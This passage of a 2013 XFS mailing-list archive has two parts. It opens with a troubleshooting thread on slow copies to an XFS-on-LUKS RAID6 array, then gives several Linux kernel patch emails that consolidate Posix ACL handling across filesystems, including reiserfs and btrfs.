>>>> log =internal bsize=4096 blocks=521728, version=2 >>>> = sectsz=512 sunit=8 blks, lazy-count=1 >>>> realtime =none extsz=4096 blocks=0, rtextents=0 >> >> md2 is 5 spindle RAID6, geometry 512KB * 3 = 1.5MB stripe width. The >> XFS alignment matches the md device. This may be hurting you with LUKS >> between XFS and md. I don't know how LUKS handles 1.5MB inbound writes >> and if it passes an aligned write to md after encrypting. I also don't >> know how it handles writes barriers passed down the stack by XFS, or if >> it does at all. >> >>>> 4. You're getting a lot of kswapd timeouts because you have swap and >>>> the md/RAID6 array on the same disks. Relocate swap to disks that are >>>> not part of this RAID6. Small SSDs are cheap and fast. Buy one and put >>>> swap on it. Or install more RAM in the machine. Going the SSD route is >>>> better as it gives flexibility. For instance, you can also relocate >>>> your syslog files to it and anything else that does IO without eating >>>> lots of space. This decreases the IOPS load on your rust. >>> >>> No no, swap is not on any of the raid disks. >>> >>>> # cat /proc/swaps >>>> Filename Type Size Used Priority >>>> /dev/sda3 partition 7812496 0 -1 >>> sda is not in the raid. In the raid there are sd[cdefg]. >> >> I was wrong here. After reading a little about kswapd I now know it >> doesn't simply move pages to/from disk. It frees memory in other ways >> as well. In this case it's apparently waiting to free an inode being >> reclaimed by xfs_reclaim_inode, which is stalled on lower level IO. So >> kswapd times out as a result. A slow LUKS thread would explain this as >> well. >> >>>> 5. Describe in some detail the workload(s) causing the heavy IO, and >>>> thus these timeouts. >>> >>> cd /olddharddisk >>> cp -av . /raid/ >>> >>> oldhardddisk is a mounted 1tb old harddisk, /raid is the 6tb raid from >>> above. >> >> So you are simply doing a huge file copy from an apparently slower >> single disk to an apparently faster striped RAID. But you get horrible >> throughput and kernel timeout errors, and the RAID disks are apparently >> fairly idle. >> >>> Heavy workload while this copy process (2 CPUs, each 4 cores): >> >> Model # of the CPUs so I can look up the specs? >> >>>> top - 11:13:37 up 4 days, 21:32, 2 users, load average: 12.95, 11.33, 10.32 >>>> Tasks: 155 total, 2 running, 153 sleeping, 0 stopped, 0 zombie >>>> Cpu(s): 0.0%us, 5.7%sy, 0.0%ni, 82.1%id, 11.8%wa, 0.0%hi, 0.3%si, 0.0%st >>>> Mem: 32916276k total, 32750240k used, 166036k free, 10076760k buffers >>>> Swap: 7812496k total, 0k used, 7812496k free, 21221136k cached >>>> >>>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >>>> 699 root 20 0 0 0 0 S 11 0.0 248:17.59 md2_raid6 >>> >>> Dont know what consumes all of this 32GB RAM... 'top' sorted by memory >>> consumption does not tell me. All entries are only 0.0% and 0.1% >> >> ~30GB of your RAM is being eaten by filesystem metadata buffers (10GB) >> and page cache (20GB). Linux uses nearly all free memory for cache and >> buffers to prevent disk accesses, which speeds up access to frequently >> used data considerably. This is normal. A huge copy like this is going >> to cause a huge amount caching. >> >> I assume this 1TB file copy has finally completed. Start another large >> test copy and paste the CPU burn for the LUKS thread so we can confirm >> whether this is the root cause of your problem. From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 17A3129DF8 for ; Fri, 20 Dec 2013 07:25:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EEDA88F807A for ; Fri, 20 Dec 2013 05:25:30 -0800 (PST) X-ASG-Debug-ID: 1387545929-04cb6c537d86c370001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5eA5FthlsujbwcCR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003BY-34; Fri, 20 Dec 2013 13:25:21 +0000 Message-Id: <20131220131635.650823732@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:35 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 00/21] Consolidate Posix ACL implementation V3 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 00/21] Consolidate Posix ACL implementation V3 X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545930 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This series consolidates the various cut'n'pasted Posix ACL implementations into a single common one based on the ->get_acl method Linus added a while ago and a new ->set_acl counterpart. This remove ~1800 lines of code and provides a single place to implement various nasty little gems of the semantics. Unfortunately the 9p code is still left out - it implements the ACLs in two very weird ways, one using the common code but on the client only, and one pasing things straight through to the server. We could easily convert it to the new code on the write side if ->set_acl took a dentry, but there's no cance to do that on the ->get_acl side. Ideas how to handle it welcome. After that we'd be ready to never go into the fs for the ACL attributes and branch straight to the ACL code below the syscall, repairing the old API braindamage of overloading ACLs onto the xattrs. Changes from V2: - remove redundant S_ISLNK checks - fix the get_acl return value - remove spurious symlink get_acl instance in gfs2 - fix default ACL inheritance on NFS - use get_acl and set_acl from the NFS server - remove some incorrectly copy&pasted code in hfsplus Changes from V1: - check for symlinks in the ACL code and remove checks in the lower level functions. - remove get_acl instances for symlinks in a few filesystems - pass a umode_t mode argument to posix_acl_chmod to accomodate f2fs - various cosemtic bits from the reviews. Note that I still haven't heard from ocfs2 folks, so the patch is left unchanged. ------------------------------------------------------------------------------ Rapidly troubleshoot problems before they affect your business. Most IT organizations don't have a clear picture of how application performance affects their revenue. With AppDynamics, you get 100% visibility into your Java,.NET, & PHP application. Start your 15-day FREE TRIAL of AppDynamics Pro! http://pubads.g.doubleclick.net/gampad/clk?id=84349831&iu=/4140/ostg.clktrk _______________________________________________ Jfs-discussion mailing list Jfs-discussion@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/jfs-discussion From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 59C6829DF9 for ; Fri, 20 Dec 2013 07:25:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36AE330407B for ; Fri, 20 Dec 2013 05:25:31 -0800 (PST) X-ASG-Debug-ID: 1387545930-04cb6c537b86c370001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id uKXG208INDUJGS6F (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003Do-Py; Fri, 20 Dec 2013 13:25:21 +0000 Message-Id: <20131220132521.682711410@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:39 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 04/21] fs: add a set_acl inode operation References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 04/21] fs: add a set_acl inode operation Content-Disposition: inline; filename=0004-fs-add-a-set_acl-inode-operation.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545930 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This will allow moving all the Posix ACL handling into the VFS and clean up tons of cruft in the filesystems. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- include/linux/fs.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/linux/fs.h b/include/linux/fs.h index 121f11f..09f553c 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1580,6 +1580,7 @@ struct inode_operations { struct file *, unsigned open_flag, umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); + int (*set_acl)(struct inode *, struct posix_acl *, int); } ____cacheline_aligned; ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4CBD229DF8 for ; Fri, 20 Dec 2013 07:25:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 36F368F807A for ; Fri, 20 Dec 2013 05:25:30 -0800 (PST) X-ASG-Debug-ID: 1387545929-04cb6c537b86c360001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id qYLLfZjbseA1rEgE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003CA-8u; Fri, 20 Dec 2013 13:25:21 +0000 Message-Id: <20131220132521.164507154@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:36 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 01/21] reiserfs: prefix ACL symbols with reiserfs_ References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 01/21] reiserfs: prefix ACL symbols with reiserfs_ Content-Disposition: inline; filename=0001-reiserfs-prefix-ACL-symbols-with-reiserfs_.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545929 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/reiserfs/xattr_acl.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 06c04f7..6f721ea 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -16,7 +16,7 @@ static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct posix_acl *acl); static int -posix_acl_set(struct dentry *dentry, const char *name, const void *value, +reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int type) { struct inode *inode = dentry->d_inode; @@ -65,7 +65,7 @@ posix_acl_set(struct dentry *dentry, const char *name, const void *value, } static int -posix_acl_get(struct dentry *dentry, const char *name, void *buffer, +reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, size_t size, int type) { struct posix_acl *acl; @@ -88,7 +88,7 @@ posix_acl_get(struct dentry *dentry, const char *name, void *buffer, /* * Convert from filesystem to in-memory representation. */ -static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) +static struct posix_acl *reiserfs_posix_acl_from_disk(const void *value, size_t size) { const char *end = (char *)value + size; int n, count; @@ -158,7 +158,7 @@ static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) /* * Convert from in-memory to filesystem representation. */ -static void *posix_acl_to_disk(const struct posix_acl *acl, size_t * size) +static void *reiserfs_posix_acl_to_disk(const struct posix_acl *acl, size_t * size) { reiserfs_acl_header *ext_acl; char *e; @@ -257,7 +257,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) } else if (retval < 0) { acl = ERR_PTR(retval); } else { - acl = posix_acl_from_disk(value, retval); + acl = reiserfs_posix_acl_from_disk(value, retval); } if (!IS_ERR(acl)) set_cached_acl(inode, type, acl); @@ -307,7 +307,7 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, } if (acl) { - value = posix_acl_to_disk(acl, &size); + value = reiserfs_posix_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } @@ -499,8 +499,8 @@ static size_t posix_acl_access_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_access_handler = { .prefix = POSIX_ACL_XATTR_ACCESS, .flags = ACL_TYPE_ACCESS, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_access_list, }; @@ -519,7 +519,7 @@ static size_t posix_acl_default_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_default_handler = { .prefix = POSIX_ACL_XATTR_DEFAULT, .flags = ACL_TYPE_DEFAULT, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_default_list, }; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D61D129DF8 for ; Fri, 20 Dec 2013 07:25:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D175304093 for ; Fri, 20 Dec 2013 05:25:33 -0800 (PST) X-ASG-Debug-ID: 1387545931-04bdf00fe2149310001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BA5DckQwA2iCb5ID (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04w-0003GG-HN; Fri, 20 Dec 2013 13:25:22 +0000 Message-Id: <20131220132522.409394274@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:43 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 08/21] btrfs: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 08/21] btrfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0008-btrfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545931 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig --- fs/btrfs/acl.c | 142 +++++++----------------------------------------------- fs/btrfs/ctree.h | 7 +-- fs/btrfs/inode.c | 7 ++- fs/btrfs/xattr.c | 5 +- fs/btrfs/xattr.h | 2 - 5 files changed, 28 insertions(+), 135 deletions(-) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index b56519d..ff9b399 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -35,13 +35,6 @@ struct posix_acl *btrfs_get_acl(struct inode *inode, int type) char *value = NULL; struct posix_acl *acl; - if (!IS_POSIXACL(inode)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -76,31 +69,10 @@ struct posix_acl *btrfs_get_acl(struct inode *inode, int type) return acl; } -static int btrfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int ret = 0; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - acl = btrfs_get_acl(dentry->d_inode, type); - - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return ret; -} - /* * Needs to be called with fs_mutex held */ -static int btrfs_set_acl(struct btrfs_trans_handle *trans, +static int __btrfs_set_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct posix_acl *acl, int type) { int ret, size = 0; @@ -158,35 +130,9 @@ out: return ret; } -static int btrfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - int ret; - struct posix_acl *acl = NULL; - - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto out; - } - } - - ret = btrfs_set_acl(NULL, dentry->d_inode, acl, type); -out: - posix_acl_release(acl); - - return ret; + return __btrfs_set_acl(NULL, inode, acl, type); } /* @@ -197,83 +143,31 @@ out: int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int ret = 0; /* this happens with subvols */ if (!dir) return 0; - if (!S_ISLNK(inode->i_mode)) { - if (IS_POSIXACL(dir)) { - acl = btrfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } + ret = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (ret) + return ret; - if (!acl) - inode->i_mode &= ~current_umask(); + if (default_acl) { + ret = __btrfs_set_acl(trans, inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - if (IS_POSIXACL(dir) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = btrfs_set_acl(trans, inode, acl, - ACL_TYPE_DEFAULT); - if (ret) - goto failed; - } - ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (ret < 0) - return ret; - - if (ret > 0) { - /* we need an acl */ - ret = btrfs_set_acl(trans, inode, acl, ACL_TYPE_ACCESS); - } else if (ret < 0) { - cache_no_acl(inode); - } - } else { - cache_no_acl(inode); + if (acl) { + if (!ret) + ret = __btrfs_set_acl(trans, inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); } -failed: - posix_acl_release(acl); - - return ret; -} -int btrfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int ret = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!IS_POSIXACL(inode)) - return 0; - - acl = btrfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR_OR_NULL(acl)) - return PTR_ERR(acl); - - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); - posix_acl_release(acl); + if (!default_acl && !acl) + cache_no_acl(inode); return ret; } - -const struct xattr_handler btrfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; - -const struct xattr_handler btrfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h index 54ab861..7506825 100644 --- a/fs/btrfs/ctree.h +++ b/fs/btrfs/ctree.h @@ -3899,20 +3899,17 @@ do { \ /* acl.c */ #ifdef CONFIG_BTRFS_FS_POSIX_ACL struct posix_acl *btrfs_get_acl(struct inode *inode, int type); +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir); -int btrfs_acl_chmod(struct inode *inode); #else #define btrfs_get_acl NULL +#define btrfs_set_acl NULL static inline int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { return 0; } -static inline int btrfs_acl_chmod(struct inode *inode) -{ - return 0; -} #endif /* relocation.c */ diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c index f1a7744..b131430 100644 --- a/fs/btrfs/inode.c +++ b/fs/btrfs/inode.c @@ -4464,7 +4464,7 @@ static int btrfs_setattr(struct dentry *dentry, struct iattr *attr) err = btrfs_dirty_inode(inode); if (!err && attr->ia_valid & ATTR_MODE) - err = btrfs_acl_chmod(inode); + err = posix_acl_chmod(inode, inode->i_mode); } return err; @@ -8649,12 +8649,14 @@ static const struct inode_operations btrfs_dir_inode_operations = { .removexattr = btrfs_removexattr, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_dir_ro_inode_operations = { .lookup = btrfs_lookup, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; @@ -8724,6 +8726,7 @@ static const struct inode_operations btrfs_file_inode_operations = { .permission = btrfs_permission, .fiemap = btrfs_fiemap, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_special_inode_operations = { @@ -8735,6 +8738,7 @@ static const struct inode_operations btrfs_special_inode_operations = { .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_symlink_inode_operations = { @@ -8748,7 +8752,6 @@ static const struct inode_operations btrfs_symlink_inode_operations = { .getxattr = btrfs_getxattr, .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, - .get_acl = btrfs_get_acl, .update_time = btrfs_update_time, }; diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c index 05740b9..3d1c301 100644 --- a/fs/btrfs/xattr.c +++ b/fs/btrfs/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "ctree.h" #include "btrfs_inode.h" #include "transaction.h" @@ -313,8 +314,8 @@ err: */ const struct xattr_handler *btrfs_xattr_handlers[] = { #ifdef CONFIG_BTRFS_FS_POSIX_ACL - &btrfs_xattr_acl_access_handler, - &btrfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL, }; diff --git a/fs/btrfs/xattr.h b/fs/btrfs/xattr.h index b3cc803..5049608 100644 --- a/fs/btrfs/xattr.h +++ b/fs/btrfs/xattr.h @@ -21,8 +21,6 @@ #include -extern const struct xattr_handler btrfs_xattr_acl_access_handler; -extern const struct xattr_handler btrfs_xattr_acl_default_handler; extern const struct xattr_handler *btrfs_xattr_handlers[]; extern ssize_t __btrfs_getxattr(struct inode *inode, const char *name, -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 34A1229E10 for ; Fri, 20 Dec 2013 07:25:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by 